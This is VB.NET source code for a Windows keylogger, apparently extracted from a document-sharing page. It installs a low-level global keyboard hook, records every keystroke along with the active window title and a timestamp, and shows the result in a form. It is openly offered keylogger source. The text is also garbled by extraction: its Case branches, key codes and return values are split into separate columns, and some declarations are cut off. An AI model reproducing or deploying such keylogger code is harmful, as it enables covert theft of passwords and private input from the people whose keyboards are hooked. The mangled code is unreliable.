Documente Academic
Documente Profesional
Documente Cultură
com/>, 2014
Imports System.Text
Imports System.Runtime.InteropServices
Public Class Form1
Private WithEvents keylog As New KeyLogger
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.
Click
keylog.Start()
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.
Click
keylog.Stop()
End Sub
Private Sub CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handl
es CheckBox1.CheckedChanged
keylog.PassThrough = CheckBox1.Checked
End Sub
Private Sub keylog_KeyPressed(sender As Object, e As KeyLogger.KeyEventArgs)
Handles keylog.KeyPressed
If e.Direction = KeyLogger.KeyDirection.Down Then
If e.Window.Changed Then
TextBox1.AppendText(String.Format("{0}{0}{2} {3} [{4}]{0}{1}", v
bCrLf, vbTab, e.DateTime.ToShortTimeString, e.Window.Name, e.Window.Handle))
End If
TextBox1.AppendText(e.StringKey)
End If
End Sub
Private Sub keylogger_KeyDown(sender As Object, e As KeyLogger.KeyEventArgs)
Handles keylog.KeyDown
Console.WriteLine(String.Format("{0} [Down] {1} - {2}[{3}]", e.DateTi
me.ToShortTimeString, e.StringKey, e.Window.Name, e.Window.Handle))
End Sub
Private Sub keylog_KeyUp(sender As Object, e As KeyLogger.KeyEventArgs) Hand
les keylog.KeyUp
Console.WriteLine(String.Format("{0} [Up] {1} - {2}[{3}]", e.DateTime.
ToShortTimeString, e.StringKey, e.Window.Name, e.Window.Handle))
End Sub
End Class
Public Class KeyLogger
Implements IDisposable
#Region "API"
<DllImport("user32.dll")>
Private Shared Function GetForegroundWindow() As IntPtr
End Function
<DllImport("user32.dll", CharSet:=CharSet.Auto)>
Private Shared Function GetWindowText(hwnd As IntPtr, lpString As StringBuil
hook As IntPtr
deleg As HookProc
IsShift As Boolean
tempHandle As IntPtr
pass As Boolean
pass = True
End Sub
Public Sub Start()
If hook <> IntPtr.Zero Then Return
hook = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, deleg, IntPtr.Zero, 0)
End Sub
Public Sub [Stop]()
UnhookWindowsHookEx(hook)
hook = IntPtr.Zero
End Sub
#End Region
#Region "Private Methods"
Private Function HookHandler(code As Integer, wParam As IntPtr, ByRef lParam
As IntPtr) As IntPtr
If code = 0 Then
RaiseEvents(CType(wParam, KeyDirection), ParseKey(lParam))
End If
If pass Then
Return CallNextHookEx(hook, code, wParam, lParam)
Else
Return CType(1, IntPtr)
End If
End Function
Private Sub RaiseEvents(directon As KeyDirection, key As Keys)
If SetShiftState(directon, key) Then Return
Dim eventArgs As New KeyEventArgs(directon, key, GetKeyString(key), GetC
urrentWindow(), DateTime.Now)
RaiseEvent KeyPressed(Me, eventArgs)
Select Case directon
Case KeyDirection.Up
RaiseEvent KeyUp(Me, eventArgs)
Case KeyDirection.Down
RaiseEvent KeyDown(Me, eventArgs)
End Select
End Sub
Private Function GetKeyString(key As Keys) As String
Select Case True
Case key = 3 : Return "<Cancel>"
Case key = 8 : Return "<BS>"
Case key = 9 : Return "<Tab>"
Case key = 10 : Return "<LineFeed>"
Case key = 13 : Return "<Enter>"
Case key = 17 Or key = 162 Or key = 163 : Return "<CTRL>"
Case key = 18 Or key = 164 Or key = 165 : Return "<ALT>"
Case key = 19 : Return "<Pause/Break>"
Case key = 20 : Return "<CapsL>"
Case key = 27 : Return "<Esc>"
Case key = 32 : Return " "
Case key = 33 : Return "<PageUp>"
Case key = 34 : Return "<PageDown>"
Case key = 35 : Return "<End>"
Case key = 36 : Return "<Home>"
Case key = 37 : Return "<LArrow>"
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
38
39
40
41
42
44
45
46
48
48
49
49
50
50
51
51
52
52
53
53
54
54
55
55
56
56
57
57
65
65
66
66
67
67
68
68
69
69
70
70
71
71
72
72
73
73
74
74
75
75
76
76
77
77
78
78
79
79
80
80
: Return "<UArrow>"
: Return "<RArrow>"
: Return "<DArrow>"
: Return "<Select>"
: Return "<Print>"
: Return "<PrintScreen>"
: Return "<Insert>"
: Return "<Delete>"
And IsShift : Return ")"
: Return "0"
And IsShift : Return "!"
: Return "1"
And IsShift : Return "@"
: Return "2"
And IsShift : Return "#"
: Return "3"
And IsShift : Return "$"
: Return "4"
And IsShift : Return "%"
: Return "5"
And IsShift : Return "^"
: Return "6"
And IsShift : Return "&"
: Return "7"
And IsShift : Return "*"
: Return "8"
And IsShift : Return "("
: Return "9"
And (IsCaps() Or IsShift)
: Return "a"
And (IsCaps() Or IsShift)
: Return "b"
And (IsCaps() Or IsShift)
: Return "c"
And (IsCaps() Or IsShift)
: Return "d"
And (IsCaps() Or IsShift)
: Return "e"
And (IsCaps() Or IsShift)
: Return "f"
And (IsCaps() Or IsShift)
: Return "g"
And (IsCaps() Or IsShift)
: Return "h"
And (IsCaps() Or IsShift)
: Return "i"
And (IsCaps() Or IsShift)
: Return "j"
And (IsCaps() Or IsShift)
: Return "k"
And (IsCaps() Or IsShift)
: Return "l"
And (IsCaps() Or IsShift)
: Return "m"
And (IsCaps() Or IsShift)
: Return "n"
And (IsCaps() Or IsShift)
: Return "o"
And (IsCaps() Or IsShift)
: Return "p"
: Return "A"
: Return "B"
: Return "C"
: Return "D"
: Return "E"
: Return "F"
: Return "G"
: Return "H"
: Return "I"
: Return "J"
: Return "K"
: Return "L"
: Return "M"
: Return "N"
: Return "O"
: Return "P"
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
"Q"
"R"
"S"
"T"
"U"
"V"
"W"
"X"
"Y"
"Z"
Return output
End Function
Private Function GetCurrentWindow() As Window
Dim handle As IntPtr = GetForegroundWindow()
Dim changed As Boolean = tempHandle <> handle
Dim name As String = String.Empty
Dim buffer As New StringBuilder(256)
If GetWindowText(handle, buffer, 256) > 0 Then
name = buffer.ToString()
End If
tempHandle = handle
Return New Window(name, handle, changed)
End Function
#End Region
#Region "Event Handlers"
Public Class KeyEventArgs
Inherits EventArgs
Sub New(Directon As KeyDirection, Key As Keys, StringKey As String, Wind
ow As Window, DateTime As DateTime)
Me.Direction = Directon
Me.Key = Key
Me.StringKey = StringKey
Me.Window = Window
Me.DateTime = DateTime
End Sub
Public
Public
Public
Public
Public
Direction As KeyDirection
Key As Keys
StringKey As String
Window As Window
DateTime As DateTime